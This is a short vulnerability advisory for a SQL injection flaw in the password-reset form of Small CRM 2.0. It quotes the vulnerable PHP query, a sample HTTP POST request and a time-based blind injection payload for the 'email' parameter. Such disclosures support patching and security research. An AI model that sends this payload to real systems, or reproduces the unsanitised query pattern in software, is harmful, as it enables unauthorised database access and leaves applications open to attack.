Small CRM 2.0 email SQL Injection

2020.10.20
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-89

# Exploit Title: Small CRM 2.0 - 'email' SQL Injection # Google Dork: N/A # Date: 2020-10-10 # Exploit Author: Ahmet Ümit BAYRAM # Vendor Homepage: https://phpgurukul.com/ # Software Link: https://phpgurukul.com/small-crm-php/ # Version: V2.0 # Tested on: Kali Linux # CVE : N/A ========== Vulnerable Code ========== mysqli_query $row1 = mysqli_query($con, "select email,password from user where email='" . $_POST['email'] . "'"); // dbconnection.php ========== Post Request ==================== POST /crm/forgot-password.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: localhost/crm/forgot-password.php Content-Type: application/x-www-form-urlencoded Content-Length: 20 Connection: close Cookie: __test=ec283e73906679549573af64209a5d5b; PHPSESSID=4d272f5938b3ec9c60bb45c4d7b44497 Upgrade-Insecure-Requests: 1 email=test@test.com&submit= ============= Vulnerable Parameter =============== email (POST) ============= Payload ========================= ' AND (SELECT 1543 FROM (SELECT(SLEEP(5)))gSRd) AND 'PCOX'='PCOX


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